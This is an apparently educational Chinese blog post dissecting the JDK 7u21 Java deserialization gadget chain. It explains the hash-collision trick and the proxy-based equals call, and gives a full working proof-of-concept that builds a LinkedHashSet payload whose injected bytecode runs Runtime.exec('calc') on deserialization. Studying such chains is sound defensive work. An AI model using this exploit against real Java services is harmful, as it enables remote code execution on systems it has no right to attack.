0x01 前言

在Java的反序列化中,有一个经典的漏洞,在没有存在反序列化漏洞的第三方库的情况下, 可以利用其实现反序列化漏洞的利用,那就是jdk版本7u21及以前的版本存在的利用链,可以利用jdk的原生代码实现反序列化漏洞。该反序列化漏洞的sink也是TemplatesImpl类,但source则为hashset,该利用链会比较复杂一些,中间利用到了动态代理、CB链中的TemplatesImpl.getOutputProperties方法和CC7中的哈希碰撞问题。

0x02 相关知识

AnnotationInvocationHandler#equalsImpl

该方法中可利用部分在else语句块中,所以前两个if不能满足,首先是第一个if,传入参数不能等于AnnotationInvocationHandler其本身,第二个if是传入的参数必须是this.type类的实例。
image.png
比较关键的三行已经标红,跟进this.getMenberMethods,该方法会获取this.type类中的所有方法并返回。
image.png
然后是this.asOneOfUs方法,该方法会判断传入参数是否是代理类,如果是则获取该代理类的InvocationHandler对象并判断其是否是AnnotationInvocationHandler类实例。
image.png
接着调用Method#invoke方法,所以equalsImpl方法会遍历this.type类的所有方法并进行调用。而我们传入Templates类作为this.type的值,而Templates接口类只有两个方法newTransformer方法和getOutputProperties方法,这两个方法则会引起恶意字节码加载。
所需条件:

  • 传入参数为Templates实例,即TemplatesImpl实例
  • AnnotationInvocationHandler的type属性为Templates接口类

    AnnotationInvocationHandler#invoke

    invoke中会调用到equalsImpl方法,该方法有些眼熟,我们在CC1中使用动态代理对AnnotationInvocationHandler进行了套娃。该方法作为代理类的劫持方法,只要代理的类中调用任何方法都会触发invoke方法,而在该链中需要proxy类调用方法为equals,并且该方法的参数只能为1个并且参数类型必须是Object类型,传入参数是TemplatesImpl。所以我们需要找到一个类存在equals(Object obj)方法并且在反序列化时调用到。
    image.png

    HashMap#put

    HashMap#put方法会将当前的keyentry中的其它的key进行比较,如果两者hash相同,则会比较两个对象的地址是否相同或者引用的对象相同。而HashSet实际是由HashMap实现的,在HashSet进行反序列化时会调用到map.put方法。所以我们需要让Proxy实例和TemplatesImpl实例hash相同。
    image.png

    Proxy#hashcode

    Proxy#hashcode方法依旧会触发AnnotationInvocationHandler#invoke方法,进而调用AnnotationInvocationHandler#hashCodeImpl方法,该方法会将this.memberValues中所有的的key-value进行如下计算并求和:(127 * key.hashCode()) ^ value.hashCode()
    这里有一个trick:0异或任何数都等于那个数本身,所以只要找到一个keyhashCode0,那么整个表达式就变成了(127*0)^value.hashCode(),即value.hashCode。如果我们的key传入hashCode0valueTemplatesImpl,那么则可以保证proxy.hashtemplatesImplhash相同。
    对于如何找到hash为0的key,p牛给出了如下代码,最后跑出来的第一个字符串为 f5a5a608
    1. public static void bruteHashCode()
    2. {
    3. for (long i = 0; i < 9999999999L; i++) {
    4. if (Long.toHexString(i).hashCode() == 0) {
    5. System.out.println(Long.toHexString(i));
    6. }
    7. }
    8. }

    0x03 利用链分析

    利用链如下: ```java package com.kemoon;

import javassist.ClassPool; import javassist.CtClass;

import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedHashSet; import java.util.Map;

public class JDK7u21 { public static void main(String[] args) throws Exception {

  1. String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  2. String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
  3. ClassPool classPool=ClassPool.getDefault();
  4. classPool.appendClassPath(AbstractTranslet);
  5. CtClass payload=classPool.makeClass("JDK7u21");
  6. payload.setSuperclass(classPool.get(AbstractTranslet));
  7. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
  8. byte[] bytes=payload.toBytecode();
  9. Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
  10. Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
  11. field.setAccessible(true);
  12. field.set(templatesImpl,new byte[][]{bytes});
  13. Field field1=templatesImpl.getClass().getDeclaredField("_name");
  14. field1.setAccessible(true);
  15. field1.set(templatesImpl,"jdk7u21");
  16. String zeroHashCodeStr = "f5a5a608";
  17. // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
  18. HashMap map = new HashMap();
  19. map.put(zeroHashCodeStr, "foo");
  20. // 实例化AnnotationInvocationHandler类
  21. Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
  22. handlerConstructor.setAccessible(true);
  23. InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
  24. // 为tempHandler创造一层代理
  25. Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
  26. // 实例化HashSet,并将两个对象放进去
  27. HashSet set = new LinkedHashSet();
  28. set.add(templatesImpl);
  29. set.add(proxy);
  30. // 将恶意templates设置到map中
  31. map.put(zeroHashCodeStr, templatesImpl);
  32. ByteArrayOutputStream barr = new ByteArrayOutputStream();
  33. ObjectOutputStream oos = new ObjectOutputStream(barr);
  34. oos.writeObject(set);
  35. oos.close();
  36. ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
  37. Object o = (Object)ois.readObject();
  38. }
  39. public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
  40. Field field = obj.getClass().getDeclaredField(fieldName);
  41. field.setAccessible(true);
  42. field.set(obj, value);
  43. }

}

  1. 首先代码第一部分使用`javassist`生成恶意字节码和`TemplatesImpl`反射加载字节码跟之前的链没什么区别,直接略过。从以下代码开始,这部分代码创建了一个`HashMap`,其中`key`值设置为`hash`0的字符串,理论上`value`值应该设置为`templatesImpl`,为什么要先随便设置值呢?
  2. ```java
  3. String zeroHashCodeStr = "f5a5a608";
  4. // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
  5. HashMap map = new HashMap();
  6. map.put(zeroHashCodeStr, "foo");

实例化AnnotationInvocationHandler类,同时将之前的HashMap赋给AnnotationInvocationHandlermemberValues

  1. // 实例化AnnotationInvocationHandler类
  2. Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
  3. handlerConstructor.setAccessible(true);
  4. InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

Templates接口创建动态代理,为什么要给TemplatesImpl接口创建动态代理而不是其它接口呢?经过实验发现使用其它接口也是可以的,比如Map接口,因为我们最终调用到的时Proxy#hashCode方法,而该方法会调用this.hashCodeImpl,跟proxy实现哪个接口没有关系。

  1. // 为tempHandler创造一层代理
  2. Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

实例化HashSet,将proxy对象和templatesImpl对象添加到hashSet中。这里有一个问题,为什么创建的是LinkedHashSet而不是HashSet

  1. // 实例化HashSet,并将两个对象放进去
  2. HashSet set = new LinkedHashSet();
  3. set.add(templatesImpl);
  4. set.add(proxy);

最后,在map中添加hash为0的key,templatesImpl作为value

  1. // 将恶意templates设置到map中
  2. map.put(zeroHashCodeStr, templatesImpl);

利用链:

  1. LinkedHashSet.readObject()
  2. LinkedHashSet.add()
  3. ...
  4. TemplatesImpl.hashCode()
  5. LinkedHashSet.add()
  6. ...
  7. Proxy(Templates).hashCode()
  8. AnnotationInvocationHandler.invoke()
  9. AnnotationInvocationHandler.hashCodeImpl()
  10. String.hashCode()
  11. AnnotationInvocationHandler.memberValueHashCode()
  12. TemplatesImpl.hashCode()
  13. Proxy(Templates).equals()
  14. AnnotationInvocationHandler.invoke()
  15. AnnotationInvocationHandler.equalsImpl()
  16. Method.invoke()
  17. ...
  18. TemplatesImpl.getOutputProperties()
  19. TemplatesImpl.newTransformer()
  20. TemplatesImpl.getTransletInstance()
  21. TemplatesImpl.defineTransletClasses()
  22. ClassLoader.defineClass()
  23. Class.newInstance()
  24. ...
  25. MaliciousClass.<clinit>()
  26. ...
  27. Runtime.exec()

0x04 利用链调试

HashSet#readObject,读取两个元素并添加map中
image.png
HashMap#put,传入参数为key-TemplatesImplvalue-PRESENT,这里暂时不理解PRESENT。
image.png
HashMap#put,传入参数为key-Proxy
image.png
HashMap#hash(Proxy),k为proxy实例,proxy.hashCode触发invoke方法。
image.png
AnnotationInvocationHandler#invoke
image.png
AnnotationInvocationHandler#hashCodeImpl,该方法会从memberValues中对key-valuehash
image.png
AnnotationInvocationHandler#invoke
image.png
AnnotationInvocationHandler#equalsImpl方法,反射调用this.type的所有方法,传入参数为TemplatesImpl对象,methodnewTransformer
image.png
经过测试,发现HashSet也是偶尔可以成功的,但是进行调试的时候一直可以成功。后来通过打印HashSet,可以看到我们传入的templatesImplproxy的顺序跟我们传入的顺序没有关系,是随机的。而我们的利用链要保证成功需要templatesImpl为第一个元素,proxy为第二个元素。因此使用LinkedHashSetLinkedHashSet不会更改我们插入元素的顺序。
image.png

0x05 总结

JDK7u21比较复杂,p牛的《java安全漫谈》也快看完了,接下来主要不是看链子了。